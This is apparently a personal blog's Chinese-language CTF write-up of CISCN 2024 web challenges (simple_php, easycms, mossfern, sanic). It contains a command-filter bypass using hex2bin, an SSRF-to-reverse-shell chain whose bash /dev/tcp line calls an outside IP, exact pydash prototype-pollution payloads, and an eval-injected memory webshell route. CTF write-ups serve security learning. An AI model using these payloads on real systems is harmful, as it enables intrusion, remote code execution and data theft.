CISCN2024初赛 web wp
simple_php
1 |
|
pr 命令读文件(ctfshow环境不可以 但本地可以
1 | pr /etc/passwd |
能不能读倒是都行
过滤了太多东西,且escapeshellcmd
函数:
1 | 此函数使得反斜线(\)会在以下字符之前插入: &#;`|*?~<>^()[]{}$, \x0A 和 \xFF;’ 和 " 仅在不配对的时候被转义 |
但反斜杠可以直接分隔开命令不产生影响(所以括号前加上\命令照常执行)
命令禁掉了大部分,想办法绕开——用命令行执行php语句
1 | php -r <code> |
1 | php -r phpinfo(); |
之后是根据mysql猜测弱密码root/root
1 | php -r echo `mysql -u root -proot -e 'show databases;'`; |
(注意-p后不可加空格)
但是‘’
过滤,这里使用hex2bin
绕过
又因为“”
过滤,使用substr
绕过
1 | php -r system(hex2bin(substr(_6d7973716c202d7520726f6f74202d70726f6f74202d65202773686f77206461746162617365733b27,1))); |
1 | show tables from PHP_CMS ; |
1 | select * from PHP_CMS.F1ag_Se3Re7 ; |
linux(system) → php(php -r) → linux(mysql) ⭕
easycms
提示flag.php
1 |
|
SSRF
找到方法(/dayrui/Fcms/Control/Api/Api.php)
在thumb参数处传入url,302跳转到本地访问flag.php,并传入参数cmd,反弹shell
payload
1 | index.php?s=api&c=api&m=qrcode&text=123&size=10&level=1&thumb=http://43.155.21.186/index.php |
index.php
1 | GIF98a |
bash.html
1 | sh -i >& /dev/tcp/43.155.21.186/9001 0>&1 |
监听9001端口
但在ctfshow上反弹不出来,就想本地复现一下
一开始是在Windows上配置,好不容易弄好php的调试想起来应该是在linux下,
之后就想着在wsl2里搞,
又配了好久好久,包括但不限于nginx、mysql(本机两个版本的mysql默认连我平时不用的那个,想拍死当时装mysql的自己。。远程连接也让我苦恼了很久)、php调试(但现在还只是个半成品)。。。
但还是不行。。
后来意识到这样127.0.0.1好像就到本机上了,这样和直接在windows下调试有个毛线区别
(兜兜转转终于放弃 :p
mossfern
每当 Python 执行一个函数或方法时,都会创建一个栈帧来表示当前的函数调用,并将其压入一个称为调用栈(Call Stack)的数据结构中
通过传参code传入代码,到xxx.txt中,
执行xxx.py文件,在py文件中执行txt文件,即code传入代码,通过过滤*4后,输出结果
1 | def waff(): |
1 | def waff(): |
绕过最后一步的过滤(将列表转换成字符串,把每一项化零为整)
sanic
python高性能异步框架
step1 cookie
1 |
|
cookies的user的值中含有 ;
正常传值分号会导致字符串被截断,需要想办法绕过
找cookie解析过程
value的处理
o_match、q_match两个匹配到了
1 | res.append(chr(int(str[j + 1 : j + 4], 8))) |
str[j + 1 : j + 4] 八进制转十进制、十进制转字符串,之后塞到cookie的value中(注意cookie格式)
step2 pydash原型链污染
1 | pydash.set_(pollute, key, value) //设置属性值 |
(注意key与value需要以json格式发送
利用点——污染__file__
属性
1 |
|
过滤
1 | if ... and '_.' not in key: |
1 | RE_PATH_KEY_DELIM = re.compile(r"(?<!\\)(?:\\\\)*\.|(\[\d+\])") |
1 | {"key":"__init__\\\\.__globals__\\\\.__file__","value":"[flag路径]"} |
要么环境变量查看 /proc/1/environ
要么找flag路径(注意更新sanic版本
目光落到注册静态路由这句话上
1 | app.static("/static/", "./static/") |
进入static
1 | directory_view: Whether to fallback to showing the directory viewer when exposing a directory |
==> 污染DirectoryHandler类达到 列目录 且 列根目录 的功能
之后就是怎么拿到这个DirectoryHandler类
起点是 静态文件路由对象
之后通过某种途径获得DirectoryHandler对象,然后污染类中的directory_view属性和directory属性,之后就能直接访问/static/查看目录了
- 获得 静态文件路由对象
1 | app.router.name_index['__mp_main__.static'] |
- 查看对象中可利用属性
(随便找一个有该对象的地方下个断点)
顺着就找到污染链了
注意这里不能用[]来包裹其中的索引,污染和直接调用不同,污染时需要用 . 来连接,而
__mp_main__.static
是一个整体不能分开,因此\\.
将其转义
1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view","value":"True"} |
对于 directory
,输出为
1 | WindowsPath('F:/python_projects/sanic/static') |
是一个对象,输出在parts中
但parts是一个tuple,pydash不能直接处理
pydash可以处理对象obj、列表[]、字典{},不能处理tuple、set等
看一看parts是如何被赋值的(这里找的好像有点复杂,可以直接从DirectoryHandler类那里看directory是如何赋值的)
1 | directory = file_or_directory |
1 | file_or_directory = Path(file_or_directory).resolve() |
是一个path对象,说明directory是一个path对象,再往下
在_from_parts函数中,parts赋值给_parts
属性
康康directory的_parts属性,输出一个列表
1 | ['F:\\', 'python_projects', 'sanic', 'static'] |
直接污染
1 | {"key":"__class__\\\\.__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts","value":['/']} |
此时static可查看
得到flag文件名,再次污染
1 | {"key":"__init__\\\\.__globals__\\\\.__file__","value":"/24bcbd0192e591d6ded1_flag"} // 注意“/” |
sanic的内存马
仿照flask框架
1 | app.add_route(handler,"/test",method=["GET","POST"]) |
应用
1 | eval('app.add_route(lambda request:__import__('os').popen(request.args.get('cmd')).read(),'/shell',method=['GET','POST'])') |
ezjava
waiting…
- Title: CISCN2024初赛 web wp
- Author: dawn_r1sing
- Created at : 2024-07-16 12:43:26
- Updated at : 2024-07-16 19:12:24
- Link: https://dawnrisingdong.github.io/2024/07/16/CISCN2024初赛-web-wp/
- License: This work is licensed under CC BY-NC-SA 4.0.